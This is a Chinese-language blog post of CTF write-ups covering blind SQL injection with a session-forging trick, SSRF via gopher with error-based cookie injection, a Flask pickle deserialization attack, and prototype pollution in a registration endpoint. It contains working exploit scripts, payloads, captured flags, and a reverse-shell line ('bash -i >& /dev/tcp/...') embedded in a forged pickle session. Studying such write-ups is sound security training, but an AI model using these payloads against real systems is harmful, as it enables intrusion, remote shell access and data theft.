寒假training-1

dawn_r1sing Lv3

寒假week 1

[PwnThyBytes 2019]Baby_SQL

根据题目提示这是一道SQL注入

1.找注入点

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
session_start(); //开启会话

//遍历session数组(键值$key 值$value)
//传的参都会经过filter函数处理,绕过好像很麻烦诶
foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;

function filter($value)
{
!is_string($value) AND die("Hacking attempt!");

return addslashes($value); //防SQL机制addslashes()
}

register.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';

//过滤很严
(preg_match('/(a|d|m|i|n)/', strtolower($_POST['username'])) OR strlen($_POST['username']) < 6 OR strlen($_POST['username']) > 10 OR !ctype_alnum($_POST['username'])) AND $con->close() AND die("Not allowed!");

$sql = 'INSERT INTO `ptbctf`.`ptbctf` (`username`, `password`) VALUES ("' . $_POST['username'] . '","' . md5($_POST['password']) . '")';
($con->query($sql) === TRUE AND $con->close() AND die("The user was created successfully!")) OR ($con->close() AND die("Error!"));

?>

login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';

//没有太多限制,除了session
$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';
$result = $con->query($sql);

function auth($user)
{
$_SESSION['username'] = $user;
return True;
}

($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));

?>

注入点基本可以确定是在login.php的username

2. 在login.php中绕过!isset($_SESSION),伪造session

这里的session重点不在于内容,在于有没有session

image-20240123173942315

默认情况下 session.upload_progress.enabled = on。此时传入与session.upload_progress.name同名的文件(默认情况下为PHP_SESSION_UPLOAD_PROGRESS)会自动初始化session。

image-20240123181251810

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

url = "http://7e2717b5-816f-4863-a72b-0214afb27184.node5.buuoj.cn:81/templates/login.php"

files = {"file":"123"}
a = requests.post(
url = url,
files=files,
data={
"PHP_SESSION_UPLOAD_PROGRESS":"123"
},
cookies={"PHPSESSID":"test"},
params={
'username':'123',
'password':'123'
},
proxies={'http': "http://127.0.0.1:8080"}
)
print(a.text)

成功绕过

3.SQL注入

利用两个die进行布尔盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import requests

url = "http://7449720f-77b1-4a05-b030-5896b3d31081.node5.buuoj.cn:81/templates/login.php"
cookie = {"PHPSESSID":"test"}
files = {"file":"123"}
data = {"PHP_SESSION_UPLOAD_PROGRESS":"123"}
proxies = {'http':"http://127.0.0.1:8080"}

# 数据库
# 6 ptbctf
# db=""
# for i in range(1,7):
# for j in range(32,127):
# name = '1\" or (ascii(substr((select database()),{},1))={})#'.format(i,j)
# a = requests.post(
# url = url,
# files=files,
# data={
# "PHP_SESSION_UPLOAD_PROGRESS":"123"
# },
# cookies=cookie,
# params={
# 'username':name,
# 'password':'123'
# },
# proxies=proxies
# )
# if a.text == "<meta http-equiv=\"refresh\" content=\"0; url=?p=home\" />":
# db = db+chr(j)
# break
# print(db)

# 表
# 2
# 8 flag_tbl
# 6 ptbctf
# table1=""
# for i in range(1,7):
# for j in range(32,127):
# name='1\" or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),{},1))={}#'.format(i,j)
# a = requests.post(url=url,files=files,data=data,cookies=cookie,proxies=proxies,params={'username':name,'password':'123'})
# if a.text == "<meta http-equiv=\"refresh\" content=\"0; url=?p=home\" />":
# table1+=chr(j)
# break
# print(table1)

# 表1字段
# secret
# column=""
# for i in range(1,10):
# for j in range(32,127):
# name='1\" or ascii(substr((select column_name from information_schema.columns where table_name=\'flag_tbl\'),{},1))={}#'.format(i,j)
# a = requests.post(url=url,cookies=cookie,files=files,data=data,proxies=proxies,params={'username':name,'password':'123'})
# if a.text == "<meta http-equiv=\"refresh\" content=\"0; url=?p=home\" />":
# column+=chr(j)
# break
# print(column)

# 内容
flag=""
for i in range(1,50):
for j in range(32,127):
name='1\" or ascii(substr((select secret from flag_tbl),{},1))={}#'.format(i,j)
a = requests.post(url=url,cookies=cookie,files=files,data=data,proxies=proxies,params={'username':name,'password':'123'})
if a.text == "<meta http-equiv=\"refresh\" content=\"0; url=?p=home\" />":
flag += chr(j)
break
print(flag)
# flag{7e4c1473-69f2-4bf2-a5e5-078637ef5016}

very_easy_sql

SSRF+SQL

首先源代码注释有use.php,

image-20240124182542514

可以通过本地访问use.php,加之提示“非本地用户”,

我们可以通过SSRF在use.php中获取到本地用户身份

SSRF的灵魂在于服务器对用户提供的可控URL的过于信任,我们可以通过服务器的“单纯”让他发出我们需要的请求(我们需要的请求是:以本地用户身份submit username与password)

具体操作就是构造发送该请求的payload给use.php的url

  1. payload构造

    利用gopher协议发送POST请求

gopher协议的格式:gopher://IP:port/_TCP/IP数据流

GET请求:
构造HTTP数据包,URL编码、替换回车换行为%0d%0a,HTTP包最后加%0d%0a代表消息结束

POST请求
POST与GET传参的区别:它有4个参数为必要参数
需要传递Content-Type,Content-Length,host,post的参数
Content-Length和POST的参数长度必须一致

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import urllib.parse

content="uname=admin&passwd=admin" # 猜猜猜
content_length=len(content)
payload=\
"""POST / HTTP/1.1
Host: 61.147.171.105:61245
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: {}
Origin: http://61.147.171.105:61245
Connection: close
Referer: http://61.147.171.105:61245/
Upgrade-Insecure-Requests: 1

{}
""".format(content_length,content)

temp = urllib.parse.quote(payload) # 对特殊字符进行编码
new = temp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new # gopher会将第一个字符吞噬,所以加个下划线
result = urllib.parse.quote(result)
print(result)
1
gopher%3A//127.0.0.1%3A80/_POST%2520/%2520HTTP/1.1%250D%250AHost%253A%252061.147.171.105%253A61245%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A109.0%2529%2520Gecko/20100101%2520Firefox/119.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252024%250D%250AOrigin%253A%2520http%253A//61.147.171.105%253A61245%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A//61.147.171.105%253A61245/%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250Auname%253Dadmin%2526passwd%253Dadmin%250D%250A
1
2
3
4
5
6
7
8
9
10
# 请求内容可以简单些,上面是直接复制的(注意删掉cookie)
"""POST /index.php HTTP/1.1
Host: 127.0.0.1:80
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: {}

{}
""".format(content_length,content)

抓包

image-20240125123556748

获得响应数据,其中

1
Set-Cookie: this_is_your_cookie=YWRtaW4%3D; expires=Thu, 25-Jan-2024 05:08:13 GMT; Max-Age=3600

image-20240125123831104

cookie值是admin7,猜测注入点在这个cookie上(前提是以本地身份访问,所以不能直接抓包改cookie)

脚本就在之前的基础上加上cookie: this_is_your_cookie=MScgIw== // 1' #

1
gopher%3A//127.0.0.1%3A80/_POST%2520/%2520HTTP/1.1%250D%250AHost%253A%252061.147.171.105%253A61245%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A109.0%2529%2520Gecko/20100101%2520Firefox/119.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252024%250D%250AOrigin%253A%2520http%253A//61.147.171.105%253A61245%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A//61.147.171.105%253A61245/%250D%250ACookie%253A%2520this_is_your_cookie%253DMScgIw%253D%253D%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250Auname%253Dadmin%2526passwd%253Dadmin%250D%250A

image-20240125154811884

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import base64
import urllib.parse
import requests

content="uname=admin&passwd=admin"
content_length=len(content)
sql = "1') and extractvalue(1,concat(0x7e,0x7e)) #".encode('utf-8') # 注意闭合方式
base64_sql = str(base64.b64encode(sql),'utf-8')
cookie = "this_is_your_cookie="+base64_sql
print(cookie)
payload=\
"""POST / HTTP/1.1
Host: 61.147.171.105:61245
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: {}
Origin: http://61.147.171.105:61245
Connection: close
Referer: http://61.147.171.105:61245/
Cookie: {}
Upgrade-Insecure-Requests: 1

{}
""".format(content_length,cookie,content)

temp = urllib.parse.quote(payload) # 对特殊字符进行编码
new = temp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new # gopher会将第一个字符吞噬,所以加个下划线
result = urllib.parse.quote(result)
print(result)

image-20240125163221145

可以进行报错注入(至于它的闭合,’ 返回语法错误,” 不报错,说明它的闭合是 单引号+括号'(

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
sql = "1') and extractvalue(1,concat(0x7e,(select database()),0x7e)) #".encode('utf-8')
# Issue with your mysql: XPATH syntax error: '~security~'

sql = "1') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) #".encode('utf-8')
# Issue with your mysql: XPATH syntax error: '~emails,flag,referers,uagents,us'

sql = "1') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e)) #".encode('utf-8')
# Issue with your mysql: XPATH syntax error: '~flag~'

sql = "1') and extractvalue(1,concat(0x7e,(select flag from flag),0x7e)) #".encode('utf-8')
# Issue with your mysql: XPATH syntax error: '~cyberpeace{1afdd142da69ce377b1f'

sql = "1') and extractvalue(1,concat(0x7e,substr((select flag from flag),30,30),0x7e)) #".encode('utf-8')
#Issue with your mysql: XPATH syntax error: '~1fb3505dfe4568}~'

# cyberpeace{1afdd142da69ce377b1fb3505dfe4568}

参考

[HFCTF 2021 Final]easyflask

pickle–Python序列化
  • 模块 pickle 实现了对一个 Python 对象结构的二进制序列化和反序列化

  • pickle模块并不安全,构建恶意的pickle数据在解封时执行任意代码都是可能的,所以不要对不可信任的pickle数据进行解封,处理不信任数据时,应使用更安全的序列化格式,如 JSON

  • 魔术方法:__reduce__(≈ php 序列化)

    当对象被反序列化时就会执行__reduce__函数

首先

1
http://ade21a03-924c-4236-9788-4198aa99bc39.node5.buuoj.cn:81/file?file=index.js

尝试模板注入无果

image-20240125172154087

输入路径,得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
})


@app.route('/', methods=('GET',))
def index_handler():
if not session.get('u'):
u = pickle.dumps(User())
session['u'] = u
return "/file?file=index.js"


@app.route('/file', methods=('GET',))
def file_handler():
path = request.args.get('file')
path = os.path.join('static', path)
if not os.path.exists(path) or os.path.isdir(path) \
or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
return 'disallowed'

with open(path, 'r') as fp:
content = fp.read()
return content


@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
if isinstance(u, dict):
u = b64decode(u.get('b'))
u = pickle.loads(u)
except Exception:
return 'uhh?'

if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'


if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)

看到session.get('u')是要伪造session了,但SECRET_KEY没给;

/file路由可以读文件,好东西

/admin路由下有pickle序列化,可以使用魔术方法

  • 要伪造session的话先看看它的构成吧

在cookie里找到session

image-20240126123313689

1
Cookie:session=eyJ1Ijp7IiBiIjoiZ0FTVkdBQUFBQUFBQUFDTUNGOWZiV0ZwYmw5ZmxJd0VWWE5sY3BTVGxDbUJsQzQ9In19.ZbM0jw.rFHaQ1XnVozocJQREuSTDyNqEVA

image-20240126143434435

image-20240126143508012

Base64解码后能看到User,可以想到session应该是从User变来的

1
2
3
4
5
User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
})

可以在session中的User里加上__reduce__,利用该魔术方法在执行u = pickle.loads(u)时执行__reduce__,反弹shell

1
2
3
4
5
6
User = type('User', (object,), {
'uname': 'test',
'is_admin': 1,
'__repr__': lambda o: o.uname,
'__reduce__': lambda o: (os.system,("bash -c 'bash -i >& /dev/tcp/ip/2333 0>&1'",))
})
1
2
lambda 定义一个匿名函数,将其赋值给变量,通过这个变量间接调用该函数
bash -c [command] //执行命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
if isinstance(u, dict):
u = b64decode(u.get('b'))
u = pickle.loads(u)
except Exception:
return 'uhh?'

if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'

经过代码审计,在/admin路由下,session→u→b应为User先序列化,再Base64编码

故session 未编码时:

1
{"u":{" b":"Y3Bvc2l4CnN5c3RlbQpwMAooUyJiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTIuMTMxLzIzMzMgMD4mMSciCnAxCnRwMgpScDMKLg=="}}
  • 伪造session还需要有SECRET_KEY

    利用/file路由到/proc/self/environ全局变量目录中找

    image-20240126164938761

1
secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh
  • session 的伪造

    脚本助力

    1
    2
    python3 session.py encode -s 'glzjin22948575858jfjfjufirijidjitg3uiiuuh' -t "{'u':{'b':'Y3Bvc2l4CnN5c3RlbQpwMAooUyJiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNTIuMTMxLzIzMzMgMD4mMSciCnAxCnRwMgpScDMKLg=='}}"
    //注意引号

拿到session

改掉 session 后一直是504 Gateway Time-out,正常的话应该是能反弹shell的。。。?

CATCTF wife_wife

登录界面,先随便注册一个账号

注册页面有一个 is_admin 的勾选项,但需要邀请码,正常渠道注册不了管理员

提示是原型链污染,污染 isAdmin 属性为 true ,从而绕过邀请码输入

image-20240128141521007

image-20240128141817857

当查找 isAdmin 属性时,这一层找不到会向上一层,而上一层已被"__proto__":{"isAdmin":true}污染,成功注册管理员账号

image-20240128141723071

源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
app.post('/register', (req, res) => {

let user = JSON.parse(req.body) // 把输入的账号密码从json字符串转成对象

if (!user.username || !user.password) {
return res.json({ msg: 'empty username or password', err: true })
}

if (users.filter(u => u.username == user.username).length) {
return res.json({ msg: 'username already exists', err: true })
}
// isAdmin是否true 与 邀请码是不是等于这个常量,所以sql注入没用,邀请码是个常量
if (user.isAdmin && user.inviteCode != INVITE_CODE) {
user.isAdmin = false
return res.json({ msg: 'invalid invite code', err: true })
}

// 使用系统函数复制对象,打包成一个新的对象
let newUser = Object.assign({}, baseUser, user)
users.push(newUser) // 存到总对象里
res.json({ msg: 'user created successfully', err: false }) // 设置返回信息
})
  • Title: 寒假training-1
  • Author: dawn_r1sing
  • Created at : 2024-04-07 11:06:54
  • Updated at : 2024-04-07 11:07:42
  • Link: https://dawnrisingdong.github.io/2024/04/07/寒假training-1/
  • License: This work is licensed under CC BY-NC-SA 4.0.